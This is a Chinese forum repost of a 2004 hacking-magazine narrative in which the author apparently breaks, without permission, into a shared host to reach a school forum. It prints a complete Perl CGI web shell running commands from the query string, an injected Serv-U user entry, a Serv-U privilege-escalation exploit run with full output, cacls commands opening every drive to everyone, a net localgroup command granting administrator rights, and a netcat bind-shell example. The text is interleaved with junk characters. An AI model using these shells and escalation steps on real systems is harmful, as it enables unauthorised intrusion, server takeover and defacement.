中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
4 C0 A' o4 P6 F' J7 y
本文作者:angel
% n |. i# L% v, }6 q+ @8 B
文章性质:原创
, w2 k9 i/ S4 P, X+ M l; o
发布日期:2004-11-09
6 {+ N7 X" p! v$ m5 \# `
注意:
0 D# m- h/ n& m, x: I- h6 G9 Y
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
* u" R* e1 x* U1 u
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
3 |. e: R6 C# h3 z
3 ^/ @- U' s# K' x0 g2 Z
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
# g! x$ g9 S8 e" a4 {6 K0 w
9 M5 X" c. l4 R$ j$ d4 T
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
( @% I/ u* e) h. x5 U) x0 X# \
5 d+ j+ W4 s0 ^
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
. c/ ~+ P$ b6 P8 u$ F5 l! ]
+ \. \- u. v/ C6 \
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
1 q" m$ I; h9 \6 ]: ~% v1 ?5 `
. w. d {* ?5 K& q# j: E) y3 t
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
) I2 a! O# f3 O& j
; L I# p/ [# Q, S5 d' e
没有目的的跳转目录着……
. t9 N1 Y& ]( g
, h# u, N& J3 U. q) w
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
; _5 V* D) j b& `$ [# @! K( e, J
. E. L$ x ], |, g: R1 S( A
结束了吗?不,我试着 FTP 一下:
0 \; r( {: \& ^# u
* h/ d; V+ b# `
Microsoft Windows 2000 [Version 5.00.2195]
7 _7 Y6 a+ m4 |; ^
(C) 版权所有 1985-2000 Microsoft Corp.
! ~: B0 }, T7 p y4 ]
" g5 }7 N, k" S8 ]$ {: E& ]1 y8 c1 M8 W
C:\Documents and Settings\Administrator>ftp
www.school.com
8 _( Y# r r( b# i' v u
Connected to www. school.com.
' b% \2 ^0 G7 b( Y* a
220 Welcome to FTP Server...
! i$ [6 i8 E$ l6 [# M
User (
www.bjtrq.com:
(none)):
6 r$ B# }$ u, d7 ^7 t9 R3 u
331 User name okay, need password.
7 u* }* x# W3 N. u* u3 H* x- H$ p3 R
Password:
$ }, q6 b' }3 f& q( D$ j3 Y" a! K
530 Not logged in.
, A" q# y& P" h* q+ q- x( T$ Y2 p
Login failed.
3 [. n0 e: Q& }0 {( d# O- O
ftp> bye
8 h- ^9 M7 ^; \4 d
221 Goodbye!
4 J- l z1 Q+ g2 d8 X. h% X
1 s; L+ |; \& l7 c
. U0 D% @) M! T/ ^2 H& u b' E$ P8 Q
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
1 a. p+ N% [1 |0 j; ^- g* X" l. c
$ i# d+ O! o# u) m! B" M
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
; \* R- \7 w: w- |- _
# K6 J8 N6 C/ J% B
Application Data
( p& `, J! z F+ E8 K0 f0 z
Documents
4 ]# q5 y/ [# `, Z; y1 W
DRM
8 W* ?( u2 v+ J; E
Favorites
9 p k6 j/ x5 O
Templates
3 E% @6 M( ^' l: B$ H( b/ c
「开始」菜单
2 `% d( q+ x) v+ H2 T
桌面
1 u- L x3 y* Q" |; V0 [+ Z
! ^1 v* G$ b: A" i- G3 u$ V
) d+ V2 |5 W) r5 ^- v
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
, N0 j) {6 @, q6 Y E
0 L* Z- Z) z1 W, R
ActiveState ActivePerl 5.8
5 _# G) z9 s! W- s6 f: Y! r$ {
Administrative Tools
- j# b: T, Z+ A F
Deerfield.com
! Y& y7 g9 _1 |: I/ x0 K* ]: D, v
DTemp
8 T- f8 S) R& h; A
IPSentry
2 W6 c; r$ J8 G
MBM 5
% {7 f+ t$ V4 Z) [% |! b' @* Y* Q
NetMeter
1 x: b! M K% ]5 x5 Q
Network ICE
/ Q# v7 x6 s; ~7 z5 }- V
Persits Software AspEmail
4 t3 p1 [2 X* h: y# E7 C* C. }
Persits Software AspJpeg
$ g6 ?! r6 ?2 l' M0 K
Serv-U FTP Server
- |( p- I/ U# I" E7 Y: \
Symantec Client Security
/ {$ ~3 W; l# W% ]5 a
Windows 优化大师
1 Y/ L& ~ `: Q0 d1 b0 J9 g8 m
WinRAR
) b0 E. n7 I/ H( K# V' U
启动
. s1 n) R4 ~, q; V0 F# S) w+ }
管理工具
# ?# u0 t# g3 p
附件
|- Q" S+ g2 f; K
7 t* \. y1 p7 k6 S
[+ F' }: t/ Z* T3 o
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
0 V+ I0 M0 \, n3 T
I1 H" s0 f' [- |" P% W
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
R% l& A4 ]4 v9 a1 N
/ F/ Q( \$ K$ @( B9 I
User281=angel|1|0
V) c1 R) V) u6 H. f6 d$ I
& `' ~; T. J6 I4 v
! {2 S' Q4 S& X; n
然后加上
7 A$ [1 T8 I V2 {
( ^/ P0 w5 s* z0 {1 I# y& A: J+ }6 Z
[USER=angel|1]
2 b& p+ L4 T- V8 C7 I3 `
Password=ng98F85379EA68DBF97BAADCA99B69B805
) [0 Z* w, B0 p7 T7 Y7 H5 {
HomeDir=D:\websites
, k. `; w1 m; |. ` x9 \/ Z
RelPaths=1
; A8 ^4 E) k9 J" }3 M
TimeOut=600
! B8 o; S, X7 ]
Maintenance=System
1 D6 | ^' m6 ?
Access1=D:\websites|RWAMELCDP
5 h: _! \ D& P& b- y0 k0 i* W
SKEYValues=
3 a* v$ }& k3 E1 [0 l
9 o3 o/ H/ W- W
2 S2 m* N7 w$ Z& B+ ? X1 y
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
8 g {- @6 ]/ q7 i1 {
* A9 E) Y$ h; P9 n6 M
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
& Y, M, p. ^) z+ k$ O
! O0 B6 Q( T+ K5 c
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
7 A6 s- [! U$ j3 A
! t! p: s& F; u4 R( l) A
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
- O" n2 y2 u/ |
, Q0 @: T I0 N0 v
#!/usr/bin/perl
, y2 j. F1 j6 `
binmode(STDOUT);
* J2 T7 s- H8 A: L9 `9 H; u
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
~% X+ L0 d2 J- ^& M; b9 e
$_ = $ENV{QUERY_STRING};
# [* n. N6 ]: C* G; {/ } x
s/%20/ /ig;
) s" ^8 O' s, j% e
s/%2f/\//ig;
. J/ T5 m I) Q6 M: S
$execthis = $_;
3 ]* G! D" k. {" S2 G
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
0 S5 Q9 M. |- M3 O0 D
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
" }' {( Q: Z- E4 H4 d3 `
system($execthis);
9 x3 g3 X2 Y8 h8 |9 U! _+ H" j' i
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
2 m% w' ]% w& w$ _9 w* W. ]* w
close(STDERR);
8 o5 N" w- }3 L0 U7 V3 R6 q
close(STDOUT);
, c4 P9 l) F) f& E* Z2 l
exit;
# U( W! W' N+ c1 _) U* o' h% D
- U& |0 X" J( }: d1 ~8 }: d; w
' v8 K- G7 I! L3 ?2 k, W
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
8 {: c- a$ T* \8 ]) k' h
2 a8 H8 y; ^: D3 t' V
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
8 n5 n6 V0 ^/ N( U' @/ m
( U J4 ~# g; R& {/ X
http://anyhost//cmd.pl?d:\user\bin\su.exe
5 D; M# J0 `8 g& |+ G; s
8 A' X- v4 x/ x
8 x4 @( l, o$ U' n8 Q$ C
返回:
4 g" D" B0 j7 F) M
+ F$ Z5 G# F) d6 H
Serv-u >3.x Local Exploit by xiaolu
+ W- v' X; ^/ V3 x8 W3 R: o: [
& s j3 I4 m- ]2 h9 x
USAGE: serv-u.exe "command"
9 e: N0 a8 }0 j( q! Z
$ G" F$ F* Z d
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
' e ^# b8 f! ~0 p3 g w
% Y( [" ^( ?( y; X/ U
+ O: I# d, q0 P
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
* @+ b% ]# {- _
0 ]6 T+ F# N* ~, I, _; b4 y7 ]
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
$ W7 N2 o7 ~) }2 t6 E
1 A/ E( R) m |) p. p& O9 J
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
: E7 W% V/ T( ~9 P
3 k) i3 U( R0 {6 }
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
0 G v) y) S% O& D! P) T
( J3 P' Z1 L3 S5 F- c' X7 d
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
# Y: Q1 T6 l0 f7 C! B9 B/ e: x
5 X, |' b( N3 z' P' W) }
3 a/ n2 I( z1 P) l& T" W
返回下面的信息,就表示成功了!!!
' G' \7 w E: f4 Q, Z+ i
5 n5 t, Y# u" }0 G
Serv-u >3.x Local Exploit by xiaolu
7 k3 E6 b4 o$ i+ C- N: A3 c% M
9 F0 j/ m! y4 c I1 M
<220 Serv-U FTP Server v5.2 for WinSock ready...
8 V, J j: e% Y, g% y. {
% ~: N8 T! T1 ?! Q, W
>USER LocalAdministrator
4 ?, c' U! b0 y$ b4 ?
9 x! n( Q6 G3 s& z( O) B
<331 User name okay, need password.
: M2 n4 N% y! c, s* X
5 Q9 q* `/ V6 k
******************************************************
( L) t$ j9 |6 B$ J
' R6 h9 S, K' t/ P
>PASS #l@$ak#.lk;0@P
1 ]& ~! _9 B( l4 f; A; [+ u
) S0 p5 @9 J. [8 y) G
<230 User logged in, proceed.
G6 }! a* l' t$ p B- t, s
9 f ~9 l! K; G1 s5 B) q3 y
******************************************************
G F. N4 e8 f# i0 s. m) X$ ^
! t5 T9 N. E" g# X: ~' j4 b* p5 Z
>SITE MAINTENANCE
5 l9 [ D4 h2 t9 z
- X: |9 q) a3 H: l4 g# j$ K2 p' j
******************************************************
6 D0 e4 @: d3 B$ y0 f/ }
7 j- O% e( Y% O
[+] Creating New Domain...
8 \9 X8 _( d C# n7 T
- x z w, r5 ^: I" M3 [4 s, d
<200-DomainID=2
7 ~, n& y2 }$ L( B" J8 t
6 x/ A1 ~, L) a {- s% f. T$ ~
<220 Domain settings saved
0 O: a7 t# G+ p
# K2 e* g/ O0 X: C
******************************************************
; U: B9 j5 r5 c; d, o2 t2 \" R- ?
9 i3 t3 @8 ~% `4 f' l
[+] Domain xl:2 Created
! Z+ D6 a7 l6 Y/ U
$ O& g6 S+ f+ H: a
[+] Creating Evil User
, U- a, C4 Y( Q" I0 ?& }
( w8 c# c7 k1 Q' T' W! N: o
<200-User=xl
0 X' [( F6 l8 K: n8 G6 n
: [. Q, E! X& h1 o5 m
200 User settings saved
- W/ f' C- @$ f( ]- e
" c: N: t3 \+ z5 z
******************************************************
* Q, Q, [! @8 w2 U; L
) C' Q- w: t! t' V' {& Z" `
[+] Now Exploiting...
& P# X8 B( \; B# A" N6 y& D
) x) `- G* B% v% S+ S l( |0 y
>USER xl
& k/ Q! m0 {4 ~* B* e M: Z) U
0 V' u8 q" L; Q$ g ~, n E/ Z
<331 User name okay, need password.
' o8 Z" w- j# Z+ P
/ ^9 ~/ o1 v9 z! h7 C
******************************************************
' I6 I) k7 j1 u( K$ t) P! H
f# j2 W6 _& n) @- V7 r j9 N
>PASS 111111
# u) A Y) _* x( t E5 T1 X( P+ n
1 J- [( S0 D! p7 l
<230 User logged in, proceed.
( U& E" Y2 {$ _
" K$ c- T( @ n% h) n6 k
******************************************************
4 V" m# d' q! T) o
5 s2 M! h1 c5 A) i; |. j
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
* W( ?5 ^; e g
; k* z0 Y" W! w" K
<220 Domain deleted
5 O) T; Y: v8 Y5 z1 H: g% i
. j9 ]3 b9 {( p# }% w+ T
******************************************************
! w: j+ K/ G# J7 [ D: ?# i. E0 @2 D
1 O) b0 W7 ~2 B% f* t8 v+ w: W$ m
. @& r- t X5 N. N5 r# h/ g
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
5 H# V, w Y D' k% c3 h4 R
0 h8 m7 g# B; F6 |! z( W
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
7 R2 H C( @. n4 q3 {
" P. Z& g8 C- v- `' v5 S! ~
) X3 r( }5 P: x3 @) k/ c; Z6 V6 L6 v
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
! C9 u/ p6 F$ ~ J8 Y! O
7 k r2 s0 a' R$ J
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
& E5 a+ b5 x S# q% K7 K
# l( k* z, C3 ~$ t! |7 R3 h
7 u! d/ b: t2 U9 R" v$ ~8 k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2